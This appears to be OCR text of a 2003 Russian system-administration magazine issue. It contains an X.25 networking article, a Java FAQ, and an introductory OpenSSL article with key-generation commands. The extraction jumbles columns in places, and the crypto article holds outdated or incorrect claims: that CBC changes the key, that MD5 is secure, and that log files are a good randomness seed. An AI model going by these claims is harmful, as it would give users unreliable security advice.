Сеть Х.25 состоит из коммутаторов (Switches, S), которые также носят название центров коммутации пакетов (ЦКП), расположенных в различных географических точках и соединениях высокоскоростными выделенными каналами. Следует заметить, что выделенные каналы могут быть как цифровые, так и аналоговые. Асинхронные старт-стопные терминалы подключаются к сети через устройства PAD. Они могут быть встроенными или удаленными. Встроенные обычно расположены в стойке коммутатора. Терминалы получают доступ ко встроенному устройству PAD по телефонной сети с помощью модемов с асинхронным интерфейсом. Это устройство также подключается к телефонной сети с помощью нескольких модемов с асинхронным интерфейсом. Удаленный PAD представляет собой небольшое автономное устройство, подключенное к коммутатору через выделенный канал связи Х.25. К удаленному устройству PAD терминалы подключаются по асинхронному порту. Обычно для этой цели используется RS-232C. Один PAD обычно обеспечивает доступ для 8, 16 или 24 асинхронных терминалов. К основным функциям PAD, определенным стандартом Х.3, относятся: ! сборка поступивших символов, полученных от асинхронных терминалов в пакеты;

№1(2), январь 2003

! разборка полей данных в пакетах модействовать с операционной систе!

!

!

и вывод данных на асинхронные данные; управление процедурами установления соединения и разъединения по сети Х.25 с нужным компьютером; передача символов, включающих старт-стопные сигналы и биты проверки на четность по требованию асинхронного терминала; продвижение пакетов при наличии соответствующих условий, таких как заполнение пакета, истечение времени ожидания и др.

Терминалы не имеют конечных адресов сети Х.25. Адрес присваивается порту PAD, который подключен к коммутатору пакетов Х.25 с помощью выделенного канала. Несмотря на то что задача подключения “неинтеллектуальных” терминалов к удаленным хостам возникает сейчас достаточно редко, функции PAD все еще остаются востребованными. Устройство PAD часто используется для подключения к сетям Х.25 кассовых терминалов и банкоматов, имеющих асинхронный интерфейс RS-232. Cтандарт Х.28 определяет параметры терминала, а также протокол взаимодействия терминала с устройством PAD. При работе на терминале пользователь сначала проводит некоторый текстовый диалог с устройством, используя стандартный набор символьных команд. PAD может работать с терминалом в двух режимах: управляющем и передачи данных. В управляющем режиме пользователь с помощью команд может указать адрес хоста, с которым нужно установить соединение по сети Х.25, а также установить некоторые параметры работы PAD: выбрать специальный символ для обозначения команды немедленной отправки пакета, установить режим эхо-ответов символов, набираемых на клавиатуре от устройства PAD, что является обычным локальным режимом работы терминала с хостом. В сущности, Х.3 и Х.28 определяют протокол эмуляции терминала, подобный протоколу telnet стека TCP/IP. Пользователь с помощью устройства PAD устанавливает соединение с нужным хостом, а затем уже может взаи-

мой этого хоста. Хосты и локальные сети обычно подключаются к сети Х.25 непосредственно через адаптер Х.25 или маршрутизатор, поддерживающий на своих интерфейсах протоколы Х.25. В сети существует протокол Х.29, с помощью которого узел сети может управлять и конфигурировать PAD удаленно, по сети. При необходимости передачи данных хосты, подключенные к сети Х.25 непосредственно, услугами PAD не пользуются, а самостоятельно устанавливают виртуальные каналы в сети и передают по ним данные в пакетах Х.25.

Адресация в сетях Х.25 Если сеть Х.25 не подключена к какой-либо публичной сети, то она может использовать адрес любой длины (в пределах формата поля адреса) и давать адресам произвольные значения. Максимальная длина поля адреса в пакете Х.25 составляет 16 байт. Рекомендация Х.121 ССIT определяет международную систему нумерации адресов для сетей передачи данных общего пользования. Если сеть Х.25 хочет обмениваться данными с другой сетью Х.25, то в ней следует придерживаться рекомендации Х.121. Адреса Х.121 (называемые также IDN – International Data Numbers) имеют разную длину, которая может доходить до 14 десятичных знаков. Первые четыре цифры IDN называют кодом идентификации сети (Data Network Identification Code, DNIC). Cам DNIC поделен на две части: первая часть (3 числа) определяет страну, в которой находится сеть, а вторая – номер сети Х.25 в данной стране. Таким образом, внутри каждой страны можно организовать только 10 сетей Х.25. Если требуется перенумеровать больше чем 10 сетей для одной страны, проблема решается тем, что одной стране дается несколько кодов. Например, Россия имела до 1995 года один код – 250, а в 1995 году ей был выделен еще один код – 251. Остальные цифры называются номером национального терминала (National Terminal Number, NTN). Эти цифры позволяют идентифицировать определенный DTE в сети Х.25.

13


администрирование Международные сети Х.25 могут также использовать международный стандарт нумерации абонентов ISO 7498. По стандарту ISO 7498 для нумерации сетей Х.25 к адресу в формате Х.121 добавляется только один байт префикса, несущий код 36 (использование в адресе только кодов десятичных цифр) или 37 (использование в адресе только двоичных комбинаций). Этот код позволяет универсальным коммутаторам, например, коммутаторам сети ISDN, поддерживающим также и коммутацию пакетов Х.25, автоматически распознавать тип адреса и правильно выполнять маршрутизацию запроса на установление соединения.

Стек протоколов Х.25 Стандарты сетей Х.25 описывают 3 уровня протоколов: ! на физическом уровне определены синхронные интерфейсы Х.25 и Х.21 bis к оборудованию передачи данных либо DSI/CSU, если выделенный канал является цифровым, либо к синхронному модему, если канал выделенный; ! на канальном уровне используется подмножество протокола HDLC, обеспечивающее возможность автоматической передачи в случае возникновения ошибок на линии. Возможен выбор из двух процедур доступа к каналу: LAP или LAP-B; ! на сетевом уровне определен протокол Х.25/3 обмена пакетами между оконечным оборудованием и сетью передачи данных. Транспортный уровень может быть реализован в конечных узлах, но он стандартом не определяется. Протокол физического уровня канала связи не оговорен, и это дает возможность использовать каналы разных стандартов. На канальном уровне обычно используется протокол LAP-B. Этот протокол обеспечивает сбалансированный режим работы, то есть оба узла, участвующие в соединении, равноправны. По протоколу LAP-B устанавливается соединение между пользовательским оборудованием DTE и коммутатором сети. Хотя стандарт это и не оговаривает, но по протоколу

14

LAP-B возможно также установление соединения на канальном уровне внутри сети между непосредственно связанными коммутаторами. Протокол LAР-B почти во всех отношениях идентичен протоколу LLC2, кроме адресации. Кадр LAP-B содержит одно однобайтовое адресное поле. Поддерживается как нормальный режим ( с максимальным окном в 8 кадров и однобайтовым полем управления), так и расширенный режим (с максимальным окном в 128 кадров и двухбайтовым полем управления). Сетевой уровень Х.25/3 (в стандарте он назван не сетевым, а пакетным уровнем) реализуется с использованием 14 различных типов пакетов, по назначению аналогичных типам кадров протокола LAP-B. Так как надежную передачу данных обеспечивает протокол LAP-B, протокол Х.25/3 выполняет функции маршрутизации пакетов, установления и разрыва виртуального канала между конечными абонентами сети и управления потоком пакетов. После установления соединения на канальном уровне конечный узел должен установить виртуальное соединение с другим конечным узлом сети. Для этого он в кадрах LAP-B посылает пакет Call Request протокола Х.25. Для сокращения размера адресных таблиц в коммутаторах сетей Х.25 реализуется принцип агрегирования адресов. Все терминалы, имеющие общий префикс в адресе, подключаются при этом к общему входному коммутатору подсети, соответствующему значению префикса. Например, если путь ко всем терминалам, имеющим адреса с префиксом 251 456, пролегает через общий коммутатор S1, то в таблице маршрутизации коммутаторов, через которые проходит путь к коммутатору S1, помещается единственная запись – 251 456, которая соответствует как конечному хосту 251 456 12, так и конечному узлу 251 45. Маски в коммутаторах не используются, а младшие разряды адреса, которые не нужны при маршрутизации, просто опускаются. Коммутаторы сетей Х.25 представляют собой гораздо более простые и дешевые устройства по сравнению с маршрутизаторами сетей TCP/IP. Это объясняется тем, что они

не поддерживают процедуру обмена маршрутной информацией и нахождения оптимальных маршрутов, а также не выполняют преобразований формата кадров канальных протоколов, то есть они технологически проще. По принципу работы они более приближены к коммутаторам локальных сетей, чем к маршрутизаторам. Однако работа, которую выполняют коммутаторы Х.25 над пришедшими кадрами, включает больше этапов, чем при продвижении кадров коммутаторами локальных сетей. Коммутатор Х.25 должен принять кадр LAP-B и ответить на него другим кадром LAP-B, в котором подтвердить получение кадра с конкретным номером. При утере или искажении кадра коммутатор должен организовать повторную передачу кадра. Если же с кадром LAP-B все в порядке, то коммутатор должен извлечь пакет Х.25, на основании номера виртуального канала определить выходной порт, а затем сформировать новый кадр LAP-B для дальнейшего продвижения пакета. Коммутаторы локальных сетей такой работой не занимаются и просто передают кадр в том виде, в котором он пришел на выходной порт. В результате производительность коммутаторов Х.25 оказывается обычно невысокой – несколько тысяч пакетов в секунду. Для низкоскоростных каналов доступа, которыми много лет пользовались абоненты этой сети (1200-9600 бит/с), такой производительности коммутаторов хватало для работы сети. Гарантий пропускной способности сеть Х.25 не дает. Максимум, что может сделать сеть, – это расставить приоритеты трафика отдельных виртуальных каналов. Приоритет канала указывается в запросе на установление соединения в поле услуг.

Выводы Протоколы сетей Х.25 были специально разработаны для низкоскоростных линий с высоким уровнем помех. Именно такие линии составляют пока большую часть телекоммуникационной структуры нашей страны, поэтому сети Х.25 будут по-прежнему еще долго являться наиболее рациональным выбором для многих регионов.


FAQ JAVA ВОПРОС: Как измерить промежуток времени, затраченный, например, на выполнение некоторого участка программы? ОТВЕТ: Воспользуйтесь вызовом «System.currentTimeMillis()», возвращающим число миллисекунд с начала 1970 года. Однако будьте внимательны: метод System.currentTimeMillis обычно весьма неточен. В большинстве реализаций он даже не обеспечивает декларированную точность в 1 миллисекунду. Например, в Windows NT/2000/XP возвращаемое значение меняется в среднем один раз в 10 миллисекунд. Поэтому данный метод пригоден лишь для измерения сравнительно длительных промежутков времени. Если необходимо точно измерить короткий промежуток времени – например, время исполнения некоторого участка кода – можно попытаться повторить соответствующий участок много раз в достаточно длинном цикле и поделить общее время на число итераций. Для исключения влияния параллельных процессов эту операцию обычно имеет смысл повторить несколько десятков раз и из всех измерений времени взять наименьший результат. Альтернативный подход – реализовать для точного измерения времени native-метод на языке C. В операционной системе Windows можно использовать стандартные вызовы QueryPerformanceCounter и QueryPerformance-Frequency, обеспечивающие на Intel-платформе точность около 1 наносекунды. Кроме того, на процессорах Intel можно использо-

№1(2), январь 2003

ВОПРОС: Как правильно вывести в системную консоль многострочный текст? ОТВЕТ: Используйте несколько вызовов System.out.println. Не пытайтесь использовать специальный символ “\n” для разделения строк, как это принято в языках C, C++, Perl и многих других. В языке Java символ “\n”, в полном соответствии с идеологией языка, является платформенно-независимым: на любой платформе он имеет десятичный код 10 (стандартный символ «перевода строки»). Но, скажем, на Macintosh для перехода на новую строку используется другой символ: ASCII 13 (“\r” в Java). Существует корректная альтернатива использованию серии вызовов println. Можно объявить константу: public static final String lineSeparator= System.getProperty("line.separator","\n");

и использовать ее для разделения строк: System.out.println("1st line" +lineSeparator+"2nd line");

Все сказанное, конечно, справедливо только в случае, если вывод на консоль используется с целью визуального просмотра на том же компьютере. Если средства консольного вывода используются, скажем, для формирования заголовка HTTPответа Web-сервера по HTTP-протоколу, в котором строки должны разделяться парой символов с жестко фиксированными кодами 13 и 10, то ситуация будет обратной. Использование метода println будет ошибкой, а правильным решением будет вызов метода print с явным добавлением комбинации «\r\n» в конце каждой строки. Составил Даниил Алиевский

15


ТЕОРИЯ И ПРАКТИКА OPENSSL

ВСЕВОЛОД СТАХОВ


администрирование Ещё несколько лет назад криптографические системы применялись лишь в исключительных случаях: в правительственных организациях, спецслужбах и иных критических к безопасности данных системах. Однако в настоящее время бурное развитие компьютерных сетей и Интернета заставляет задумываться об обеспечении безопасности всё большее количество людей. Вначале опишем основные принципы и термины криптографии... В настоящее время все озабочены безопасностью передаваемых по сети данных, поэтому свою статью я бы хотел начать с разговора о способах защиты информации. Что такое шифрование? Это запись информации в особом виде, исключающем её прочтение лицами, не знающими шифра. В компьютерном мире защита данных актуальна, как нигде. Обычно шифрованием называют обработку данных при помощи некой функции f(x), где x – обрабатываемые данные. Алгоритм шифрования должен быть таким, что даже само знание алгоритма злоумышленником не должно помочь ему открыть ключ шифрования, то есть алгоритм должен основываться на трудоёмкости подбора ключа, а не на неизвестности алгоритма. Алгоритмы шифрования бывают одно и двунаправленными; однонаправленные алгоритмы чаще всего представляют собой так называемые хеши: численное представление некоего текста. Абсолютно очевидно, что даже зная хеш, невозможно вычислить исходный текст (бывает, что для разных текстов хеш совпадает, что тоже естественно, так как множество вариантов текстов бесконечно, а чисел, используемых в алгоритмах – конечно). Для чего же такое нужно? Применение есть замечательное: если одной и той же хеш-функцией обработать одинаковые строки, то результат будет идентичен! Это свойство можно использовать при проверке пароля: строка, введённая пользователем, хешируется и сравнивается с хешем пароля. При этом из хеша пароля восстановить сам пароль нельзя, можно только применять данную хеш-функцию к разным строкам,

№1(2), январь 2003

ища совпадения, т.е. методом прямого перебора. Вот почему советуют выбирать длинные и сложные пароли для важных целей. Хеш-функций существует огромное множество и есть некоторые стандартные ряды хеш-функций, наибольшее распространение получили ряды MD и SHA. К примеру, стандартная функция Unix crypt вычисляет значение хеш-функции от строки. Один из параметров, передаваемых этой функции, значится как salt, состоит из символов $1$ и строки из 8 символов и определяет выбор хеш-функции из ряда MD5, а возвращаемое значение содержит одиннадцать первых символов salt, чтобы знать в будущем для проверки, какую функцию применять. Если два первых символа salt – произвольная двухсимвольная строка, то используется обычный алгоритм DES (56 бит), а salt определяет выбор алгоритма подмешивания. В настоящее время 56 бит обычно недостаточно, для нахождения ключа длиной 56 бит необходимо перебрать «всего» 72057594037927936 (256) ключей. Для кластера компьютеров эта задача решается в считанные часы, поэтому сейчас во всех современных *nix используется алгоритм MD5, который позволяет генерировать отпечатки (хеши) паролей длиной до 128 бит, для подбора которого потребуются в худшем случае миллиарды лет! Итак, можно закончить с однонаправленными алгоритмами и перейти к двунаправленным... Существует два рода таких алгоритмов: симметрические и асимметрические (алгоритмы с публичным ключом). Симметрические алгоритмы используют один и тот же ключ для шифрования и дешифрования и их стойкость определяется в основном длиной используемого ключа. Ключ симметрического шифрования ни в коем случае нельзя передавать в открытом виде, так как это даст возможность злоумышленнику, получившему этот ключ, расшифровывать данные, этим ключом зашифрованные. Асимметрические алгоритмы предоставляют возможность передачи публичного ключа в открытом виде, в то время как секретный

ключ должен быть известен только вам. Приведу наглядную демонстрацию полезности шифрования. К примеру, вы хотите пройти аутентификацию на удалённой машине и посылаете ей свой пароль, конечно же, не сам пароль, а его хеш. Но, к сожалению, где-то на пути встретился хаб, который дал возможность послушать ваши пакеты снифером. Этим, естественно, воспользовался злой дядька, подключённый к этому хабу. Он смог беспрепятственно взять ваш хеш пароля, взломать его (если повезёт) или просто посылать этот же хеш серверу. Таким образом, под вашим логином входят два человека. Не думаю, что кого-то развеселит эта ситуация (разве что злого дядьку, если его не засекут). Или ещё пример полной беззащитности: электронная почта не защищается никак (по крайней мере, по стандартной схеме) и всякий может её прочитать или изменить. Нет-нет, не надо бежать в хозяйственный магазин за мыльцем и верёвочкой – спасение есть. Это асимметрическое шифрование. Идея такова: вначале от генератора случайных чисел формируется определённая строка – секретный ключ, который может использоваться для расшифровки данных, зашифрованных публичным ключом. Публичный ключ вычисляется на основании секретного ключа. Таким образом мы получили пару ключей для шифрования (публичный ключ) и расшифровывания (секретный ключ). Затем на удалённой машине также создаётся подобная пара ключей (скорее всего она будет иной, так как довольно сложно, чтобы на разных машинах генератор случайных чисел генерировал одну и ту же последовательность). Итак, у нас есть две пары ключей, мы должны обменяться публичными ключами. После этого вы можете, используя публичный ключ удалённой машины, зашифровывать данные, которые могут быть расшифрованы ею с помощью имеющегося только у неё секретного ключа. Так как удалённая машина имеет и ваш публичный ключ, то подобная операция может работать наоборот (т.е. передача данных на вашу машину). Да, вроде

17


администрирование бы всё хорошо: информация, передаваемая между машинами, может быть расшифрована только ими, но есть одно «но». Представьте ситуацию подмены публичных ключей при доставке: тогда правильный ключ будет считаться неправильным, а подменённый ключ – правильным. Обычным методом защиты публичного ключа асимметрического шифрования является его сертификация. Для понятия сертификации сразу же необходимо объяснить, что такое электронная цифровая подпись. ЭЦП – это хеш сообщения с данными об отправителе, подписанный секретным ключом последнего. На основании ЭЦП можно определить достоверность и неизменность сообщения при условии, что имеется публичный ключ. Публичный ключ, анализируя ЭЦП, даёт один из ответов: достоверен, недостоверен (был изменён). А так как найти такое значение хеша, чтобы оно совпадало для двух различных сообщений (т.е. h(M)=h(M’)) очень сложно, сопоставимо с прямым перебором, то практически нет способа подменить сообщение, подписанное ЭЦП. При пересылке публичного ключа его подмена обычно исключается электронной подписью, гарантирующей неизменность данных. Обычно публичный ключ подписывается либо секретным ключом данной пары, либо одним из доверенных ключей сторонних организаций. То есть в любом случае к ключу ЭЦП должно быть доверие. Такой механизм полностью исключает подмену публичного ключа, так как в противном случае подпись будет недостоверна и программа установления безопасной связи просто не примет данного ключа, автоматически считая его неверным. Есть ещё возможность исключить перехват публичного ключа – подтверждение получения ключа от другой машины и обмен идентификационными сообщениями. Такой метод применён, например, в механизме беспарольной аутентификации SSH. Вы обмениваетесь ключами с сервером и звоните владельцу удалённой машины (особенно это актуально при аутентификации клиента на сервере путём подтвержде-

18

ния валидности ключа), подтверждая и проверяя передачу ключа. При таких методах защиты полностью исключен перехват конфиденциальных данных, если, конечно, не вывесить свой секретный ключ на доску почёта в раздел «Достижения в безопасности за последний квартал». А если серьёзно, то потеря секретного ключа позволяет любому расшифровывать всё, что зашифровано вами или для вас, то есть происходит полная потеря безопасности. Поэтому во многих системах аутентификации секретные ключи дополнительно шифруются неким паролем. Без пароля секретный ключ представляет собой меньше ценности, так как ломать пароль можно только прямым перебором. Но всё же лучше держать секретные ключи при себе. Ещё многих интересует, что означает стойкость ключа. Это просто длина ключа в битах. Чем она больше, тем больше степень сложности подбора секретного ключа перебором. Но одновременно с этим увеличивается время работы алгоритмов и увеличивается объем сообщений за счёт неиспользуемых элементов ключа. Поэтому здесь лучше не бросаться в крайности, стойкость ключа длиной в 1024 бит вроде бы является достаточной (в настоящее время), хотя при пересылке почтовых сообщений используют ключи длиной до 2048 бит (OpenPGP). Для ключей симметрического шифрования достаточной является длина 128 бит. Ещё критичным фактором является работа генератора случайных чисел. Если злоумышленнику удалось найти некую закономерность в генераторе случайных чисел, то ему ничего не стоит создать любой ключ (а зачастую и «случайные» пароли). Поэтому сообщения о громких взломах различных ключей чаще всего вызваны тем, что злоумышленник нашёл баг в генераторе случайных чисел. Некоторых интересует также, что означают загадочные надписи RSA и DSA. Это сокращённые названия алгоритмов асимметрического шифрования. Различаются они математической основой работы, которая определяет степень защищённости и ско-

рость работы в разных режимах (во многих системах существует также ограничение на длину DSA ключей в 1024 бита, ключи RSA могут быть любой длины, но обычно используются ключи 1024 – 4096 бит). Среди алгоритмов симметрического шифрования наиболее распространены следующие: ! DES (56 бит); ! 3DES (168 бит); ! RC* (40 – 128 бит); ! Blowfish (128 бит); ! IDEA (128 бит). Алгоритмы, использующие ключи длиной до 128 бит, считаются алгоритмами низкой безопасности, 128 бит – средней, более 128 бит – высокой. Алгоритмы симметрического шифрования могут работать в нескольких режимах, обычно используется режим cbc, когда ключ динамически высчитывается на основании предыдущего блока данных, т.е. в режиме cbc ключ постоянно меняется, что затрудняет атаки. При использовании клиентов, работающих на безопасных каналах связи (SSL – secure socket layer), часто можно видеть запрос на подтверждение публичного ключа для связи или сертификата (подписанного публичного ключа, как было описано ранее). Как я уже говорил, публичный ключ могут подменить, но если вы доверяете своим каналам связи и не думаете, что кто-то охотится персонально за вашими данными, то можно доверять публичному ключу удалённого сервера, так как подмена ключа – занятие довольно трудоёмкое, а если у вас есть некие подозрения на этот счёт, то лучше не доверять ключу, не получив подтверждения от нужного лица или организации (не вздумайте использовать электронную почту: уж если смогли подделать ключ, то подменить письмо не составляет труда). Генерация ключей клиента происходит на лету и они автоматически удаляются после окончания сеанса связи, публичный ключ удалённого сервера помещается в специальное хранилище, что избавляет вас от риска пересылки публичного ключа. Основные атаки на системы асимметрического шифрования связаны с тем, что злоумышленник может угадать со-


администрирование держимое части зашифрованных данных (например, письма часто начинаются со слов «Здравствуйте, »), и это знание облегчает подбор секретного ключа. Ещё очень опасна атака на подмену ключей (man-inthe-middle), когда злоумышленник перехватывает публичные ключи двух людей, затем генерирует две пары ключей и направляет свои публичные ключи обеим сторонам. Теперь первый человек посылает злоумышленнику своё письмо, которое тот расшифровывает своим ключом, читает, зашифровывает публичным ключом второго человека и отправляет ему послание. Таким образом, у людей создается иллюзия защищённой переписки, но читает их сообщения и третий (который, как известно, лишний). Выходом из такой ситуации является сертификация публичных ключей. Существует два способа сертификации ключей: ! ключ может быть подписан только ключом одного из доверенных источников сертификации (обычно это организации, которые имеют привеллегии сертификации, переданные им правительством страны); ! ключ может быть подписан одним из ключей, которым вы доверяете (обычно это ваш собственный ключ и ключи организаций, занимающихся выдачей сертификатов). Второй механизм, называемый сетью доверия, используется чаще, так как позволяет добавлять новые ключи к доверенным. Оба механизма предусматривают механизм цепного подписывания, например, если ключ А был подписан ключом Б, который подписан ключом С, который подписан вашим ключом, то ключ А считается доверенным. При этом число таких «шагов» наследования обычно ограничено. Такой механизм сети доверия реализован, например, в системе PGP и в системе OpenSSL. Этим обеспечивается безопасность клиента. Безопасность сервера необходима лишь в случае удаленной беспарольной аутентификации, тогда администратор удалённой системы помещает ваш ключ в список известных ключей системы. Примечание

№1(2), январь 2003

для администраторов: если вы не хотите, чтобы все могли использовать данный ключ, объясните пользователю опасность доступа посторонних лиц к его секретному ключу и убедите его зашифровать секретный ключ паролем, который, кстати, можно удобно хранить в памяти и не вводить лишний раз, но об этом я расскажу в статье об SSH. И ещё: не забывайте убедиться в том, что ключ пришёл от того, кого предполагалось, для этого лучше попросить пользователя принести ключик на дискетке, а потом её дезинтегрировать или оставить в эпицентре ядерного взрыва (жаль этого нельзя проделать с некоторыми «пользователями», хотя почему нельзя? Мария Францевна, подойдите-ка на минутку...). И наконец, скажу ещё вот что: асимметрическое шифрование используется для подписи и зашифровывания почтовых сообщений, удалённой аутентификации и ЭЦП в любых её применениях. Но для передачи большого количества данных через сеть использовать асимметрическое шифрование очень печально – всё загнется окончательно и бесповоротно: уж больно много времени надо для использования подобных алгоритмов. Поэтому при передаче данных по сети используют симметрическое шифрование (3DES, IDEA, Blowfish). Но ключ симметрического шифрования очень опасно передавать в открытом виде (ведь он используется для шифрования и дешифрования), и вначале устанавливается связь асимметрическим шифрованием, как было описано выше. После установления связи клиент генерирует ключ симметрического шифрования и шифрует его публичным ключом сервера, затем отправляет его собственно серверу (также выполняется подписывание симметрического ключа для удостоверения в его неизменности). Сервер расшифровывает своим секретным ключом ключ симметрического шифрования и использует его для общения с клиентом. Красота! Но есть ещё один способ – алгоритм ДифлеманаХельмана, позволяющий использовать одни и те же ключи как для симметрического, так и для асимметри-

ческого шифрования. Он заключается в нехитрых математических законах степенной функции (я не буду на этом заострять внимание, так как вряд ли это пригодится на практике). Оказывается, имея пару – публичный ключ A и секретный ключ B, можно вычислить ключ симметрического шифрования С, который также получается при наличии пары ключей секретный А и публичный B. Говоря проще, ключ С однозначно могут вычислить обе машины, обменявшиеся публичными ключами. Этот ключ можно далее использовать для шифрования/дешифрования данных по стандартному алгоритму симметрического ключа. Такой способ достаточно безопасный, но он пока ещё не получил достаточного распространения и поэтому сейчас чаще используется первый способ. Любопытные тут же поинтересуются: почему, когда я говорил о симметрическом шифровании, я сказал, что 128-и битный ключ теоретически несокрушим, а говоря об асимметрическом шифровании, сказал, что ключ длиной 1024 бит считается пока ещё более-менее безопасным. Тут дело вот в чём: при асимметрическом шифровании выбираются 2 больших простых числа и на их основе создаются секретный и публичный ключи. Не вдаваясь в математику (для математической стороны алгоритмов шифрования можете зайти на лучший алгоритмический ресурс в рунете http:// algolist.manual.ru), скажу только одно: для вычисления секретного ключа на основании публичного необходимо выполнить задачу разложения на множители, которая пропорциональна логарифму по модулю большого целого числа (это реализовать намного проще, чем прямой перебор). Ну вот, с теорией покончено, можно приступить к практике. OpenSSL – это система защиты и сертификации данных, название SSL переводится как система безопасных сокетов. OpenSSL используется практически всеми сетевыми серверами для защиты передаваемой информации. Существует API SSL, позволяющее создавать безопасные сокеты с шифрованием передаваемых данных. Но в данной статье я бы хотел рассказать о самой системе

19


администрирование OpenSSL, вызываемой через командную строку. Так как OpenSSL поддерживает очень много различных стандартов сертификации, шифрования, хеширования, то использование данной команды достаточно сложно. Внутри OpenSSL существуют отдельные компоненты, отвечающие за то или иное действие. Для получения списка доступных компонентов можно вызвать openssl с параметрами list-standartcommands. Можно также получить список доступных алгоритмов хеширования (list-message-digest-commands) и алгоритмов шифрования (list-ciphercommands). Итак, с помощью команд OpenSSL можно делать следующее: ! Создавать и управлять ключами RSA и DSA – команды rsa, dsa, dsaparam; ! Создавать сертификаты формата x509, запросы на сертификацию, восстановление – команды x509, req, verify, ca, crl, pks12, pks7; ! Зашифровывать данные с помощью симметрического или асимметрического шифрования – команды enc, rsautl; ! Высчитывать хеши различных типов – команда dgst; ! Работать с S/MIME – команда s/mime; ! Проверять работы серверов и клиентов ssl – команды s_client, s_server.

! openssl rand [-out file] [-rand file] num: генерация num рандомных байт: # openssl rand 5 Wеб~ #

! openssl ciphers [-ssl2] [-ssl3] [-tls1]

openssl speed md5 rsa idea blowfish des 3des sha1

NAME: вывод доступных алгоритмов для обеспечения уровня безопасности NAME, где NAME – это символическое название группы алгоритмов. Обычно используются значения: • L OW – алгоритмы низкого уровня безопасности (меньше 128 бит); • MEDIUM – алгоритмы среднего уровня стойкости (128 бит); • HIGH – алгоритмы высокой стойкости (больше 128 бит); • ALL – все алгоритмы; • NULL – алгоритмы без шифрования.

В конце выводится общая скорость работы различных алгоритмов (в 1000-х байт в секунду), для обработки различной длины блоков. Вот результат работы тестов скорости на моём домашнем компе (Celeron 366), на других компах значения будут другими:

Обычно в настоящее время используются алгоритмы групп MEDIUM и HIGH, которые ещё долго не смогут быть взломаны прямым перебором. Можно также вывести список алгоритмов из нескольких групп, разделив их «:» (например, MEDIUM:HIGH).

Cуществует также несколько вспомогательных утилит ssl: ! openssl speed [список_алгоритмов_хеширования_или шифрования]: тестирование скорости различных алгоритмов, если запускать без параметров, то тестируются все алгоритмы; алгоритмы внутри списка разделяются пробелом, например:

20

Проверка алгоритмов асимметрического шифрования

Теперь я бы хотел рассказать об основных утилитах openssl. Для начала я расскажу о методах генерации ключей, затем о командах шифрования и, наконец, о сертификатах, s/mime, клиент/серверных тестах. Итак, пару слов о генерации ключей. Для создания rsa ключей используется команда genrsa: openssl genrsa [-out file] [-des | des3 | -idea] [-rand file] [bits]

Команда genrsa создаёт секретный ключ длиной bits в формате PEM, шифрует его одним из алгоритмов des (56 бит), des3 (3-й des 168 бит) или idea (128 бит). При выборе алгоритма шифрования будет запрошен пароль для шифрования создаваемого секретного ключа (если алгоритм не указан, то секретный ключ не шифруется, чего делать ни в коем случае нельзя). Опция -out говорит программе, что вывод нужно осуществлять не в stdout, а в файл file (опция -out присутствует во множестве других компонентов openssl и используется аналогичным образом для указания выходного файла). Опция -rand указывает на файл/файлы (разделённые «:»), из которых будут считываться данные для установки seed генератора случайных чисел. В качестве таких файлов сразу же приходит на ум использо-


администрирование вать что-то вроде /dev/random или /dev/ urandom, но у меня с этим возникли проблемы – всё вешалось наглухо, поэтому я рекомендую в этом случае использовать какие-нибудь сложно угадываемые файлы, вроде /var/log/messages или /boot/vmlinuz, думаю, что угадать содержимое этих файлов не намного проще чем содержимое /dev/random, но работает этот фокус в любом *nixe (опция -rand также присутствует во всех компонентах генерации и управления ключами и сертификатами). Использовать /dev/random и /dev/urandom, конечно, можно, но я для этого скопировал из /dev/random 32 768 байт в файл .rnd таким образом: dd if=/dev/[u]random of=.rnd count=64

Кроме этого, можно указывать в качестве -rand файла EGD сокет, который обеспечивает генерацию определённого количества случайных байт, EGD доступен на узле http:// www.lothar.com/tech/crypto/. Установка генератора случайных чисел производится на основании хеша -rand файла, поэтому можно указывать файлы различной длины, так как хеш все равно имеет фиксированное число бит. Пример генерации 4096-битового секретного ключа RSA: # openssl genrsa -out /etc/openssl/ key.pem -des3 -rand /var/log/messages 4096 Generating RSA private key .....++*...++++++++* Enter PEM passphrase: Verify PEM passphrase:

После этого секретный ключ зашифровывается и записывается в файл (в текстовом виде). В начале ключа указывается алгоритм шифрования. Для создания публичного ключа rsa на основе секретного используется команда openssl rsa. Данная команда имеет следующий формат: openssl rsa -in filename [-out file] [-des | -des3 |-idea] [-check] [-pubout]

Утилита openssl rsa способна изменять пароль и алгоритм шифрования секретного ключа, будучи вызвана с параметром -in и -out. Если применить параметр -pubout, то в указанный файл -out будет записан публичный ключ, вычисленный на основе -in секретно-

№1(2), январь 2003

го. Например, создание публичного ключа на основании секретного: openssl rsa -in /etc/openssl/key.pem -out /etc/openssl/pubkey.pem -pubout

Изменение пароля и алгоритма шифрования секретного ключа с des3 на idea: openssl rsa -in /etc/openssl/key.pem -out /etc/openssl/key1.pem -idea

Для создания ключей DSA используется утилита openssl gendsa, аналогичная genrsa, но есть два отличия: во-первых, для ключей DSA нельзя указывать длину в битах и, во-вторых, ключи DSA могут генерироваться согласно некоторым параметрам, записанным в файл paramfile утилитой openssl dsaparam, имеющей следующий формат: openssl dsaparam [-rand file{s}] [-C] [-genkey] [-out file] numbits

где numbits – длина желаемого ключа, -С заставляет dsaparam вывести на stdout код на СИ для программной генерации DSA на основе необходимых параметров, а опция -genkey говорит, что в выходной файл, наряду с параметрами, дополнительно записывается созданный секретный ключ DSA, но нельзя его сразу же зашифровать, поэтому удобнее воспользоваться утилитой openssl gendsa, которая имеет схожий синтаксис с командой genrsa, но вместо числа бит указывается файл параметров, созданный dsaparam: # openssl gendsa -out /etc/openssl/ dsakey.pem -rand /boot/vmlinuz -idea paramfile Enter PEM passphrase: Verify PEM passphrase:

Для управления ключами dsa используется программа openssl dsa, которая абсолютно аналогична (в параметрах) утилите openssl rsa. Поэтому я просто приведу пример генерации публичного ключа DSA: # openssl dsa -in /etc/openssl/ dsakey.pem -out /etc/openssl/ pubdsakey.pem -pubout

Теперь настало время рассказать о компонентах openssl, выполняющих шифрование и хеширование данных.

